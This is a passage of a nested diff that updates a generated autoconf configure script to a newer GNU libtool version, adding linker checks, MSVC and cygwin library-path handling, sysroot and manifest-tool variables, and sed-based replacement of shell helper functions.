-+ { $as_echo "$as_me:${as_lineno-$LINENO}: checking whether the $host_os linker accepts -exported_symbol" >&5
-+$as_echo_n "checking whether the $host_os linker accepts -exported_symbol... " >&6; }
-+if ${lt_cv_irix_exported_symbol+:} false; then :
-+ $as_echo_n "(cached) " >&6
-+else
-+ save_LDFLAGS="$LDFLAGS"
-+ LDFLAGS="$LDFLAGS -shared ${wl}-exported_symbol ${wl}foo ${wl}-update_registry ${wl}/dev/null"
-+ cat confdefs.h - <<_ACEOF >conftest.$ac_ext
- /* end confdefs.h. */
--int foo(void) {}
-+int foo (void) { return 0; }
- _ACEOF
- if ac_fn_c_try_link "$LINENO"; then :
-- archive_expsym_cmds='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname ${wl}$soname `test -n "$verstring" && func_echo_all "${wl}-set_version ${wl}$verstring"` ${wl}-update_registry ${wl}${output_objdir}/so_locations ${wl}-exports_file ${wl}$export_symbols -o $lib'
--
-+ lt_cv_irix_exported_symbol=yes
-+else
-+ lt_cv_irix_exported_symbol=no
- fi
- rm -f core conftest.err conftest.$ac_objext \
- conftest$ac_exeext conftest.$ac_ext
-- LDFLAGS="$save_LDFLAGS"
-+ LDFLAGS="$save_LDFLAGS"
-+fi
-+{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_cv_irix_exported_symbol" >&5
-+$as_echo "$lt_cv_irix_exported_symbol" >&6; }
-+ if test "$lt_cv_irix_exported_symbol" = yes; then
-+ archive_expsym_cmds='$CC -shared $pic_flag $libobjs $deplibs $compiler_flags ${wl}-soname ${wl}$soname `test -n "$verstring" && func_echo_all "${wl}-set_version ${wl}$verstring"` ${wl}-update_registry ${wl}${output_objdir}/so_locations ${wl}-exports_file ${wl}$export_symbols -o $lib'
-+ fi
- else
- archive_cmds='$CC -shared $libobjs $deplibs $compiler_flags -soname $soname `test -n "$verstring" && func_echo_all "-set_version $verstring"` -update_registry ${output_objdir}/so_locations -o $lib'
- archive_expsym_cmds='$CC -shared $libobjs $deplibs $compiler_flags -soname $soname `test -n "$verstring" && func_echo_all "-set_version $verstring"` -update_registry ${output_objdir}/so_locations -exports_file $export_symbols -o $lib'
-@@ -9818,7 +10414,7 @@ rm -f core conftest.err conftest.$ac_objext \
- osf4* | osf5*) # as osf3* with the addition of -msym flag
- if test "$GCC" = yes; then
- allow_undefined_flag=' ${wl}-expect_unresolved ${wl}\*'
-- archive_cmds='$CC -shared${allow_undefined_flag} $libobjs $deplibs $compiler_flags ${wl}-msym ${wl}-soname ${wl}$soname `test -n "$verstring" && func_echo_all "${wl}-set_version ${wl}$verstring"` ${wl}-update_registry ${wl}${output_objdir}/so_locations -o $lib'
-+ archive_cmds='$CC -shared${allow_undefined_flag} $pic_flag $libobjs $deplibs $compiler_flags ${wl}-msym ${wl}-soname ${wl}$soname `test -n "$verstring" && func_echo_all "${wl}-set_version ${wl}$verstring"` ${wl}-update_registry ${wl}${output_objdir}/so_locations -o $lib'
- hardcode_libdir_flag_spec='${wl}-rpath ${wl}$libdir'
- else
- allow_undefined_flag=' -expect_unresolved \*'
-@@ -9837,9 +10433,9 @@ rm -f core conftest.err conftest.$ac_objext \
- no_undefined_flag=' -z defs'
- if test "$GCC" = yes; then
- wlarc='${wl}'
-- archive_cmds='$CC -shared ${wl}-z ${wl}text ${wl}-h ${wl}$soname -o $lib $libobjs $deplibs $compiler_flags'
-+ archive_cmds='$CC -shared $pic_flag ${wl}-z ${wl}text ${wl}-h ${wl}$soname -o $lib $libobjs $deplibs $compiler_flags'
- archive_expsym_cmds='echo "{ global:" > $lib.exp~cat $export_symbols | $SED -e "s/\(.*\)/\1;/" >> $lib.exp~echo "local: *; };" >> $lib.exp~
-- $CC -shared ${wl}-z ${wl}text ${wl}-M ${wl}$lib.exp ${wl}-h ${wl}$soname -o $lib $libobjs $deplibs $compiler_flags~$RM $lib.exp'
-+ $CC -shared $pic_flag ${wl}-z ${wl}text ${wl}-M ${wl}$lib.exp ${wl}-h ${wl}$soname -o $lib $libobjs $deplibs $compiler_flags~$RM $lib.exp'
- else
- case `$CC -V 2>&1` in
- *"Compilers 5.0"*)
-@@ -10415,8 +11011,9 @@ cygwin* | mingw* | pw32* | cegcc*)
- need_version=no
- need_lib_prefix=no
-
-- case $GCC,$host_os in
-- yes,cygwin* | yes,mingw* | yes,pw32* | yes,cegcc*)
-+ case $GCC,$cc_basename in
-+ yes,*)
-+ # gcc
- library_names_spec='$libname.dll.a'
- # DLL is installed to $(libdir)/../bin by postinstall_cmds
- postinstall_cmds='base_file=`basename \${file}`~
-@@ -10449,13 +11046,71 @@ cygwin* | mingw* | pw32* | cegcc*)
- library_names_spec='`echo ${libname} | sed -e 's/^lib/pw/'``echo ${release} | $SED -e 's/[.]/-/g'`${versuffix}${shared_ext}'
- ;;
- esac
-+ dynamic_linker='Win32 ld.exe'
-+ ;;
-+
-+ *,cl*)
-+ # Native MSVC
-+ libname_spec='$name'
-+ soname_spec='${libname}`echo ${release} | $SED -e 's/[.]/-/g'`${versuffix}${shared_ext}'
-+ library_names_spec='${libname}.dll.lib'
-+
-+ case $build_os in
-+ mingw*)
-+ sys_lib_search_path_spec=
-+ lt_save_ifs=$IFS
-+ IFS=';'
-+ for lt_path in $LIB
-+ do
-+ IFS=$lt_save_ifs
-+ # Let DOS variable expansion print the short 8.3 style file name.
-+ lt_path=`cd "$lt_path" 2>/dev/null && cmd //C "for %i in (".") do @echo %~si"`
-+ sys_lib_search_path_spec="$sys_lib_search_path_spec $lt_path"
-+ done
-+ IFS=$lt_save_ifs
-+ # Convert to MSYS style.
-+ sys_lib_search_path_spec=`$ECHO "$sys_lib_search_path_spec" | sed -e 's|\\\\|/|g' -e 's| \\([a-zA-Z]\\):| /\\1|g' -e 's|^ ||'`
-+ ;;
-+ cygwin*)
-+ # Convert to unix form, then to dos form, then back to unix form
-+ # but this time dos style (no spaces!) so that the unix form looks
-+ # like /cygdrive/c/PROGRA~1:/cygdr...
-+ sys_lib_search_path_spec=`cygpath --path --unix "$LIB"`
-+ sys_lib_search_path_spec=`cygpath --path --dos "$sys_lib_search_path_spec" 2>/dev/null`
-+ sys_lib_search_path_spec=`cygpath --path --unix "$sys_lib_search_path_spec" | $SED -e "s/$PATH_SEPARATOR/ /g"`
-+ ;;
-+ *)
-+ sys_lib_search_path_spec="$LIB"
-+ if $ECHO "$sys_lib_search_path_spec" | $GREP ';[c-zC-Z]:/' >/dev/null; then
-+ # It is most probably a Windows format PATH.
-+ sys_lib_search_path_spec=`$ECHO "$sys_lib_search_path_spec" | $SED -e 's/;/ /g'`
-+ else
-+ sys_lib_search_path_spec=`$ECHO "$sys_lib_search_path_spec" | $SED -e "s/$PATH_SEPARATOR/ /g"`
-+ fi
-+ # FIXME: find the short name or the path components, as spaces are
-+ # common. (e.g. "Program Files" -> "PROGRA~1")
-+ ;;
-+ esac
-+
-+ # DLL is installed to $(libdir)/../bin by postinstall_cmds
-+ postinstall_cmds='base_file=`basename \${file}`~
-+ dlpath=`$SHELL 2>&1 -c '\''. $dir/'\''\${base_file}'\''i; echo \$dlname'\''`~
-+ dldir=$destdir/`dirname \$dlpath`~
-+ test -d \$dldir || mkdir -p \$dldir~
-+ $install_prog $dir/$dlname \$dldir/$dlname'
-+ postuninstall_cmds='dldll=`$SHELL 2>&1 -c '\''. $file; echo \$dlname'\''`~
-+ dlpath=$dir/\$dldll~
-+ $RM \$dlpath'
-+ shlibpath_overrides_runpath=yes
-+ dynamic_linker='Win32 link.exe'
- ;;
-
- *)
-+ # Assume MSVC wrapper
- library_names_spec='${libname}`echo ${release} | $SED -e 's/[.]/-/g'`${versuffix}${shared_ext} $libname.lib'
-+ dynamic_linker='Win32 ld.exe'
- ;;
- esac
-- dynamic_linker='Win32 ld.exe'
- # FIXME: first we should search . and the directory the executable is in
- shlibpath_var=PATH
- ;;
-@@ -10547,7 +11202,7 @@ haiku*)
- soname_spec='${libname}${release}${shared_ext}$major'
- shlibpath_var=LIBRARY_PATH
- shlibpath_overrides_runpath=yes
-- sys_lib_dlsearch_path_spec='/boot/home/config/lib /boot/common/lib /boot/beos/system/lib'
-+ sys_lib_dlsearch_path_spec='/boot/home/config/lib /boot/common/lib /boot/system/lib'
- hardcode_into_libs=yes
- ;;
-
-@@ -11343,7 +11998,7 @@ else
- lt_dlunknown=0; lt_dlno_uscore=1; lt_dlneed_uscore=2
- lt_status=$lt_dlunknown
- cat > conftest.$ac_ext <<_LT_EOF
--#line 11346 "configure"
-+#line $LINENO "configure"
- #include "confdefs.h"
-
- #if HAVE_DLFCN_H
-@@ -11387,10 +12042,10 @@ else
- /* When -fvisbility=hidden is used, assume the code has been annotated
- correspondingly for the symbols needed. */
- #if defined(__GNUC__) && (((__GNUC__ == 3) && (__GNUC_MINOR__ >= 3)) || (__GNUC__ > 3))
--void fnord () __attribute__((visibility("default")));
-+int fnord () __attribute__((visibility("default")));
- #endif
-
--void fnord () { int i=42; }
-+int fnord () { return 42; }
- int main ()
- {
- void *self = dlopen (0, LT_DLGLOBAL|LT_DLLAZY_OR_NOW);
-@@ -11449,7 +12104,7 @@ else
- lt_dlunknown=0; lt_dlno_uscore=1; lt_dlneed_uscore=2
- lt_status=$lt_dlunknown
- cat > conftest.$ac_ext <<_LT_EOF
--#line 11452 "configure"
-+#line $LINENO "configure"
- #include "confdefs.h"
-
- #if HAVE_DLFCN_H
-@@ -11493,10 +12148,10 @@ else
- /* When -fvisbility=hidden is used, assume the code has been annotated
- correspondingly for the symbols needed. */
- #if defined(__GNUC__) && (((__GNUC__ == 3) && (__GNUC_MINOR__ >= 3)) || (__GNUC__ > 3))
--void fnord () __attribute__((visibility("default")));
-+int fnord () __attribute__((visibility("default")));
- #endif
-
--void fnord () { int i=42; }
-+int fnord () { return 42; }
- int main ()
- {
- void *self = dlopen (0, LT_DLGLOBAL|LT_DLLAZY_OR_NOW);
-@@ -15981,13 +16636,20 @@ exeext='`$ECHO "$exeext" | $SED "$delay_single_quote_subst"`'
- lt_unset='`$ECHO "$lt_unset" | $SED "$delay_single_quote_subst"`'
- lt_SP2NL='`$ECHO "$lt_SP2NL" | $SED "$delay_single_quote_subst"`'
- lt_NL2SP='`$ECHO "$lt_NL2SP" | $SED "$delay_single_quote_subst"`'
-+lt_cv_to_host_file_cmd='`$ECHO "$lt_cv_to_host_file_cmd" | $SED "$delay_single_quote_subst"`'
-+lt_cv_to_tool_file_cmd='`$ECHO "$lt_cv_to_tool_file_cmd" | $SED "$delay_single_quote_subst"`'
- reload_flag='`$ECHO "$reload_flag" | $SED "$delay_single_quote_subst"`'
- reload_cmds='`$ECHO "$reload_cmds" | $SED "$delay_single_quote_subst"`'
- OBJDUMP='`$ECHO "$OBJDUMP" | $SED "$delay_single_quote_subst"`'
- deplibs_check_method='`$ECHO "$deplibs_check_method" | $SED "$delay_single_quote_subst"`'
- file_magic_cmd='`$ECHO "$file_magic_cmd" | $SED "$delay_single_quote_subst"`'
-+file_magic_glob='`$ECHO "$file_magic_glob" | $SED "$delay_single_quote_subst"`'
-+want_nocaseglob='`$ECHO "$want_nocaseglob" | $SED "$delay_single_quote_subst"`'
-+DLLTOOL='`$ECHO "$DLLTOOL" | $SED "$delay_single_quote_subst"`'
-+sharedlib_from_linklib_cmd='`$ECHO "$sharedlib_from_linklib_cmd" | $SED "$delay_single_quote_subst"`'
- AR='`$ECHO "$AR" | $SED "$delay_single_quote_subst"`'
- AR_FLAGS='`$ECHO "$AR_FLAGS" | $SED "$delay_single_quote_subst"`'
-+archiver_list_spec='`$ECHO "$archiver_list_spec" | $SED "$delay_single_quote_subst"`'
- STRIP='`$ECHO "$STRIP" | $SED "$delay_single_quote_subst"`'
- RANLIB='`$ECHO "$RANLIB" | $SED "$delay_single_quote_subst"`'
- old_postinstall_cmds='`$ECHO "$old_postinstall_cmds" | $SED "$delay_single_quote_subst"`'
-@@ -16002,14 +16664,17 @@ lt_cv_sys_global_symbol_pipe='`$ECHO "$lt_cv_sys_global_symbol_pipe" | $SED "$de
- lt_cv_sys_global_symbol_to_cdecl='`$ECHO "$lt_cv_sys_global_symbol_to_cdecl" | $SED "$delay_single_quote_subst"`'
- lt_cv_sys_global_symbol_to_c_name_address='`$ECHO "$lt_cv_sys_global_symbol_to_c_name_address" | $SED "$delay_single_quote_subst"`'
- lt_cv_sys_global_symbol_to_c_name_address_lib_prefix='`$ECHO "$lt_cv_sys_global_symbol_to_c_name_address_lib_prefix" | $SED "$delay_single_quote_subst"`'
-+nm_file_list_spec='`$ECHO "$nm_file_list_spec" | $SED "$delay_single_quote_subst"`'
-+lt_sysroot='`$ECHO "$lt_sysroot" | $SED "$delay_single_quote_subst"`'
- objdir='`$ECHO "$objdir" | $SED "$delay_single_quote_subst"`'
- MAGIC_CMD='`$ECHO "$MAGIC_CMD" | $SED "$delay_single_quote_subst"`'
- lt_prog_compiler_no_builtin_flag='`$ECHO "$lt_prog_compiler_no_builtin_flag" | $SED "$delay_single_quote_subst"`'
--lt_prog_compiler_wl='`$ECHO "$lt_prog_compiler_wl" | $SED "$delay_single_quote_subst"`'
- lt_prog_compiler_pic='`$ECHO "$lt_prog_compiler_pic" | $SED "$delay_single_quote_subst"`'
-+lt_prog_compiler_wl='`$ECHO "$lt_prog_compiler_wl" | $SED "$delay_single_quote_subst"`'
- lt_prog_compiler_static='`$ECHO "$lt_prog_compiler_static" | $SED "$delay_single_quote_subst"`'
- lt_cv_prog_compiler_c_o='`$ECHO "$lt_cv_prog_compiler_c_o" | $SED "$delay_single_quote_subst"`'
- need_locks='`$ECHO "$need_locks" | $SED "$delay_single_quote_subst"`'
-+MANIFEST_TOOL='`$ECHO "$MANIFEST_TOOL" | $SED "$delay_single_quote_subst"`'
- DSYMUTIL='`$ECHO "$DSYMUTIL" | $SED "$delay_single_quote_subst"`'
- NMEDIT='`$ECHO "$NMEDIT" | $SED "$delay_single_quote_subst"`'
- LIPO='`$ECHO "$LIPO" | $SED "$delay_single_quote_subst"`'
-@@ -16042,12 +16707,12 @@ hardcode_shlibpath_var='`$ECHO "$hardcode_shlibpath_var" | $SED "$delay_single_q
- hardcode_automatic='`$ECHO "$hardcode_automatic" | $SED "$delay_single_quote_subst"`'
- inherit_rpath='`$ECHO "$inherit_rpath" | $SED "$delay_single_quote_subst"`'
- link_all_deplibs='`$ECHO "$link_all_deplibs" | $SED "$delay_single_quote_subst"`'
--fix_srcfile_path='`$ECHO "$fix_srcfile_path" | $SED "$delay_single_quote_subst"`'
- always_export_symbols='`$ECHO "$always_export_symbols" | $SED "$delay_single_quote_subst"`'
- export_symbols_cmds='`$ECHO "$export_symbols_cmds" | $SED "$delay_single_quote_subst"`'
- exclude_expsyms='`$ECHO "$exclude_expsyms" | $SED "$delay_single_quote_subst"`'
- include_expsyms='`$ECHO "$include_expsyms" | $SED "$delay_single_quote_subst"`'
- prelink_cmds='`$ECHO "$prelink_cmds" | $SED "$delay_single_quote_subst"`'
-+postlink_cmds='`$ECHO "$postlink_cmds" | $SED "$delay_single_quote_subst"`'
- file_list_spec='`$ECHO "$file_list_spec" | $SED "$delay_single_quote_subst"`'
- variables_saved_for_relink='`$ECHO "$variables_saved_for_relink" | $SED "$delay_single_quote_subst"`'
- need_lib_prefix='`$ECHO "$need_lib_prefix" | $SED "$delay_single_quote_subst"`'
-@@ -16102,8 +16767,13 @@ reload_flag \
- OBJDUMP \
- deplibs_check_method \
- file_magic_cmd \
-+file_magic_glob \
-+want_nocaseglob \
-+DLLTOOL \
-+sharedlib_from_linklib_cmd \
- AR \
- AR_FLAGS \
-+archiver_list_spec \
- STRIP \
- RANLIB \
- CC \
-@@ -16113,12 +16783,14 @@ lt_cv_sys_global_symbol_pipe \
- lt_cv_sys_global_symbol_to_cdecl \
- lt_cv_sys_global_symbol_to_c_name_address \
- lt_cv_sys_global_symbol_to_c_name_address_lib_prefix \
-+nm_file_list_spec \
- lt_prog_compiler_no_builtin_flag \
--lt_prog_compiler_wl \
- lt_prog_compiler_pic \
-+lt_prog_compiler_wl \
- lt_prog_compiler_static \
- lt_cv_prog_compiler_c_o \
- need_locks \
-+MANIFEST_TOOL \
- DSYMUTIL \
- NMEDIT \
- LIPO \
-@@ -16134,7 +16806,6 @@ no_undefined_flag \
- hardcode_libdir_flag_spec \
- hardcode_libdir_flag_spec_ld \
- hardcode_libdir_separator \
--fix_srcfile_path \
- exclude_expsyms \
- include_expsyms \
- file_list_spec \
-@@ -16170,6 +16841,7 @@ module_cmds \
- module_expsym_cmds \
- export_symbols_cmds \
- prelink_cmds \
-+postlink_cmds \
- postinstall_cmds \
- postuninstall_cmds \
- finish_cmds \
-@@ -16943,7 +17615,8 @@ $as_echo X"$file" |
- # NOTE: Changes made to this file will be lost: look at ltmain.sh.
- #
- # Copyright (C) 1996, 1997, 1998, 1999, 2000, 2001, 2003, 2004, 2005,
--# 2006, 2007, 2008, 2009 Free Software Foundation, Inc.
-+# 2006, 2007, 2008, 2009, 2010 Free Software Foundation,
-+# Inc.
- # Written by Gordon Matzigkeit, 1996
- #
- # This file is part of GNU Libtool.
-@@ -17046,19 +17719,42 @@ SP2NL=$lt_lt_SP2NL
- # turn newlines into spaces.
- NL2SP=$lt_lt_NL2SP
-
-+# convert \$build file names to \$host format.
-+to_host_file_cmd=$lt_cv_to_host_file_cmd
-+
-+# convert \$build files to toolchain format.
-+to_tool_file_cmd=$lt_cv_to_tool_file_cmd
-+
- # An object symbol dumper.
- OBJDUMP=$lt_OBJDUMP
-
- # Method to check whether dependent libraries are shared objects.
- deplibs_check_method=$lt_deplibs_check_method
-
--# Command to use when deplibs_check_method == "file_magic".
-+# Command to use when deplibs_check_method = "file_magic".
- file_magic_cmd=$lt_file_magic_cmd
-
-+# How to find potential files when deplibs_check_method = "file_magic".
-+file_magic_glob=$lt_file_magic_glob
-+
-+# Find potential files using nocaseglob when deplibs_check_method = "file_magic".
-+want_nocaseglob=$lt_want_nocaseglob
-+
-+# DLL creation program.
-+DLLTOOL=$lt_DLLTOOL
-+
-+# Command to associate shared and link libraries.
-+sharedlib_from_linklib_cmd=$lt_sharedlib_from_linklib_cmd
-+
- # The archiver.
- AR=$lt_AR
-+
-+# Flags to create an archive.
- AR_FLAGS=$lt_AR_FLAGS
-
-+# How to feed a file listing to the archiver.
-+archiver_list_spec=$lt_archiver_list_spec
-+
- # A symbol stripping program.
- STRIP=$lt_STRIP
-
-@@ -17088,6 +17784,12 @@ global_symbol_to_c_name_address=$lt_lt_cv_sys_global_symbol_to_c_name_address
- # Transform the output of nm in a C name address pair when lib prefix is needed.
- global_symbol_to_c_name_address_lib_prefix=$lt_lt_cv_sys_global_symbol_to_c_name_address_lib_prefix
-
-+# Specify filename containing input files for \$NM.
-+nm_file_list_spec=$lt_nm_file_list_spec
-+
-+# The root where to search for dependent libraries,and in which our libraries should be installed.
-+lt_sysroot=$lt_sysroot
-+
- # The name of the directory that contains temporary libtool files.
- objdir=$objdir
-
-@@ -17097,6 +17799,9 @@ MAGIC_CMD=$MAGIC_CMD
- # Must we lock files when doing compilation?
- need_locks=$lt_need_locks
-
-+# Manifest tool.
-+MANIFEST_TOOL=$lt_MANIFEST_TOOL
-+
- # Tool to manipulate archived DWARF debug symbol files on Mac OS X.
- DSYMUTIL=$lt_DSYMUTIL
-
-@@ -17211,12 +17916,12 @@ with_gcc=$GCC
- # Compiler flag to turn off builtin functions.
- no_builtin_flag=$lt_lt_prog_compiler_no_builtin_flag
-
--# How to pass a linker flag through the compiler.
--wl=$lt_lt_prog_compiler_wl
--
- # Additional compiler flags for building library objects.
- pic_flag=$lt_lt_prog_compiler_pic
-
-+# How to pass a linker flag through the compiler.
-+wl=$lt_lt_prog_compiler_wl
-+
- # Compiler flag to prevent dynamic linking.
- link_static_flag=$lt_lt_prog_compiler_static
-
-@@ -17303,9 +18008,6 @@ inherit_rpath=$inherit_rpath
- # Whether libtool must link a program against all its dependency libraries.
- link_all_deplibs=$link_all_deplibs
-
--# Fix the shell variable \$srcfile for the compiler.
--fix_srcfile_path=$lt_fix_srcfile_path
--
- # Set to "yes" if exported symbols are required.
- always_export_symbols=$always_export_symbols
-
-@@ -17321,6 +18023,9 @@ include_expsyms=$lt_include_expsyms
- # Commands necessary for linking programs (against libraries) with templates.
- prelink_cmds=$lt_prelink_cmds
-
-+# Commands necessary for finishing linking programs.
-+postlink_cmds=$lt_postlink_cmds
-+
- # Specify filename containing input files.
- file_list_spec=$lt_file_list_spec
-
-@@ -17353,210 +18058,169 @@ ltmain="$ac_aux_dir/ltmain.sh"
- # if finds mixed CR/LF and LF-only lines. Since sed operates in
- # text mode, it properly converts lines to CR/LF. This bash problem
- # is reportedly fixed, but why not run on old versions too?
-- sed '/^# Generated shell functions inserted here/q' "$ltmain" >> "$cfgfile" \
-- || (rm -f "$cfgfile"; exit 1)
--
-- case $xsi_shell in
-- yes)
-- cat << \_LT_EOF >> "$cfgfile"
--
--# func_dirname file append nondir_replacement
--# Compute the dirname of FILE. If nonempty, add APPEND to the result,
--# otherwise set result to NONDIR_REPLACEMENT.
--func_dirname ()
--{
-- case ${1} in
-- */*) func_dirname_result="${1%/*}${2}" ;;
-- * ) func_dirname_result="${3}" ;;
-- esac
--}
--
--# func_basename file
--func_basename ()
--{
-- func_basename_result="${1##*/}"
--}
--
--# func_dirname_and_basename file append nondir_replacement
--# perform func_basename and func_dirname in a single function
--# call:
--# dirname: Compute the dirname of FILE. If nonempty,
--# add APPEND to the result, otherwise set result
--# to NONDIR_REPLACEMENT.
--# value returned in "$func_dirname_result"
--# basename: Compute filename of FILE.
--# value retuned in "$func_basename_result"
--# Implementation must be kept synchronized with func_dirname
--# and func_basename. For efficiency, we do not delegate to
--# those functions but instead duplicate the functionality here.
--func_dirname_and_basename ()
--{
-- case ${1} in
-- */*) func_dirname_result="${1%/*}${2}" ;;
-- * ) func_dirname_result="${3}" ;;
-- esac
-- func_basename_result="${1##*/}"
--}
--
--# func_stripname prefix suffix name
--# strip PREFIX and SUFFIX off of NAME.
--# PREFIX and SUFFIX must not contain globbing or regex special
--# characters, hashes, percent signs, but SUFFIX may contain a leading
--# dot (in which case that matches only a dot).
--func_stripname ()
--{
-- # pdksh 5.2.14 does not do ${X%$Y} correctly if both X and Y are
-- # positional parameters, so assign one to ordinary parameter first.
-- func_stripname_result=${3}
-- func_stripname_result=${func_stripname_result#"${1}"}
-- func_stripname_result=${func_stripname_result%"${2}"}
--}
--
--# func_opt_split
--func_opt_split ()
--{
-- func_opt_split_opt=${1%%=*}
-- func_opt_split_arg=${1#*=}
--}
--
--# func_lo2o object
--func_lo2o ()
--{
-- case ${1} in
-- *.lo) func_lo2o_result=${1%.lo}.${objext} ;;
-- *) func_lo2o_result=${1} ;;
-- esac
--}
--
--# func_xform libobj-or-source
--func_xform ()
--{
-- func_xform_result=${1%.*}.lo
--}
--
--# func_arith arithmetic-term...
--func_arith ()
--{
-- func_arith_result=$(( $* ))
--}
--
--# func_len string
--# STRING may not start with a hyphen.
--func_len ()
--{
-- func_len_result=${#1}
--}
--
--_LT_EOF
-- ;;
-- *) # Bourne compatible functions.
-- cat << \_LT_EOF >> "$cfgfile"
--
--# func_dirname file append nondir_replacement
--# Compute the dirname of FILE. If nonempty, add APPEND to the result,
--# otherwise set result to NONDIR_REPLACEMENT.
--func_dirname ()
--{
-- # Extract subdirectory from the argument.
-- func_dirname_result=`$ECHO "${1}" | $SED "$dirname"`
-- if test "X$func_dirname_result" = "X${1}"; then
-- func_dirname_result="${3}"
-- else
-- func_dirname_result="$func_dirname_result${2}"
-- fi
--}
--
--# func_basename file
--func_basename ()
--{
-- func_basename_result=`$ECHO "${1}" | $SED "$basename"`
--}
--
--
--# func_stripname prefix suffix name
--# strip PREFIX and SUFFIX off of NAME.
--# PREFIX and SUFFIX must not contain globbing or regex special
--# characters, hashes, percent signs, but SUFFIX may contain a leading
--# dot (in which case that matches only a dot).
--# func_strip_suffix prefix name
--func_stripname ()
--{
-- case ${2} in
-- .*) func_stripname_result=`$ECHO "${3}" | $SED "s%^${1}%%; s%\\\\${2}\$%%"`;;
-- *) func_stripname_result=`$ECHO "${3}" | $SED "s%^${1}%%; s%${2}\$%%"`;;
-- esac
--}
--
--# sed scripts:
--my_sed_long_opt='1s/^\(-[^=]*\)=.*/\1/;q'
--my_sed_long_arg='1s/^-[^=]*=//'
--
--# func_opt_split
--func_opt_split ()
--{
-- func_opt_split_opt=`$ECHO "${1}" | $SED "$my_sed_long_opt"`
-- func_opt_split_arg=`$ECHO "${1}" | $SED "$my_sed_long_arg"`
--}
--
--# func_lo2o object
--func_lo2o ()
--{
-- func_lo2o_result=`$ECHO "${1}" | $SED "$lo2o"`
--}
--
--# func_xform libobj-or-source
--func_xform ()
--{
-- func_xform_result=`$ECHO "${1}" | $SED 's/\.[^.]*$/.lo/'`
--}
--
--# func_arith arithmetic-term...
--func_arith ()
--{
-- func_arith_result=`expr "$@"`
--}
--
--# func_len string
--# STRING may not start with a hyphen.
--func_len ()
--{
-- func_len_result=`expr "$1" : ".*" 2>/dev/null || echo $max_cmd_len`
--}
--
--_LT_EOF
--esac
--
--case $lt_shell_append in
-- yes)
-- cat << \_LT_EOF >> "$cfgfile"
--
--# func_append var value
--# Append VALUE to the end of shell variable VAR.
--func_append ()
--{
-- eval "$1+=\$2"
--}
--_LT_EOF
-- ;;
-- *)
-- cat << \_LT_EOF >> "$cfgfile"
--
--# func_append var value
--# Append VALUE to the end of shell variable VAR.
--func_append ()
--{
-- eval "$1=\$$1\$2"
--}
--
--_LT_EOF
-- ;;
-- esac
--
--
-- sed -n '/^# Generated shell functions inserted here/,$p' "$ltmain" >> "$cfgfile" \
-- || (rm -f "$cfgfile"; exit 1)
--
-- mv -f "$cfgfile" "$ofile" ||
-+ sed '$q' "$ltmain" >> "$cfgfile" \
-+ || (rm -f "$cfgfile"; exit 1)
-+
-+ if test x"$xsi_shell" = xyes; then
-+ sed -e '/^func_dirname ()$/,/^} # func_dirname /c\
-+func_dirname ()\
-+{\
-+\ case ${1} in\
-+\ */*) func_dirname_result="${1%/*}${2}" ;;\
-+\ * ) func_dirname_result="${3}" ;;\
-+\ esac\
-+} # Extended-shell func_dirname implementation' "$cfgfile" > $cfgfile.tmp \
-+ && mv -f "$cfgfile.tmp" "$cfgfile" \
-+ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
-+test 0 -eq $? || _lt_function_replace_fail=:
-+
-+
-+ sed -e '/^func_basename ()$/,/^} # func_basename /c\
-+func_basename ()\
-+{\
-+\ func_basename_result="${1##*/}"\
-+} # Extended-shell func_basename implementation' "$cfgfile" > $cfgfile.tmp \
-+ && mv -f "$cfgfile.tmp" "$cfgfile" \
-+ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
-+test 0 -eq $? || _lt_function_replace_fail=:
-+
-+
-+ sed -e '/^func_dirname_and_basename ()$/,/^} # func_dirname_and_basename /c\
-+func_dirname_and_basename ()\
-+{\
-+\ case ${1} in\
-+\ */*) func_dirname_result="${1%/*}${2}" ;;\
-+\ * ) func_dirname_result="${3}" ;;\
-+\ esac\
-+\ func_basename_result="${1##*/}"\
-+} # Extended-shell func_dirname_and_basename implementation' "$cfgfile" > $cfgfile.tmp \
-+ && mv -f "$cfgfile.tmp" "$cfgfile" \
-+ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
-+test 0 -eq $? || _lt_function_replace_fail=:
-+
-+
-+ sed -e '/^func_stripname ()$/,/^} # func_stripname /c\
-+func_stripname ()\
-+{\
-+\ # pdksh 5.2.14 does not do ${X%$Y} correctly if both X and Y are\
-+\ # positional parameters, so assign one to ordinary parameter first.\
-+\ func_stripname_result=${3}\
-+\ func_stripname_result=${func_stripname_result#"${1}"}\
-+\ func_stripname_result=${func_stripname_result%"${2}"}\
-+} # Extended-shell func_stripname implementation' "$cfgfile" > $cfgfile.tmp \
-+ && mv -f "$cfgfile.tmp" "$cfgfile" \
-+ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
-+test 0 -eq $? || _lt_function_replace_fail=:
-+
-+
-+ sed -e '/^func_split_long_opt ()$/,/^} # func_split_long_opt /c\
-+func_split_long_opt ()\
-+{\
-+\ func_split_long_opt_name=${1%%=*}\
-+\ func_split_long_opt_arg=${1#*=}\
-+} # Extended-shell func_split_long_opt implementation' "$cfgfile" > $cfgfile.tmp \
-+ && mv -f "$cfgfile.tmp" "$cfgfile" \
-+ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
-+test 0 -eq $? || _lt_function_replace_fail=:
-+
-+
-+ sed -e '/^func_split_short_opt ()$/,/^} # func_split_short_opt /c\
-+func_split_short_opt ()\
-+{\
-+\ func_split_short_opt_arg=${1#??}\
-+\ func_split_short_opt_name=${1%"$func_split_short_opt_arg"}\
-+} # Extended-shell func_split_short_opt implementation' "$cfgfile" > $cfgfile.tmp \
-+ && mv -f "$cfgfile.tmp" "$cfgfile" \
-+ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
-+test 0 -eq $? || _lt_function_replace_fail=:
-+
-+
-+ sed -e '/^func_lo2o ()$/,/^} # func_lo2o /c\
-+func_lo2o ()\
-+{\
-+\ case ${1} in\
-+\ *.lo) func_lo2o_result=${1%.lo}.${objext} ;;\
-+\ *) func_lo2o_result=${1} ;;\
-+\ esac\
-+} # Extended-shell func_lo2o implementation' "$cfgfile" > $cfgfile.tmp \
-+ && mv -f "$cfgfile.tmp" "$cfgfile" \
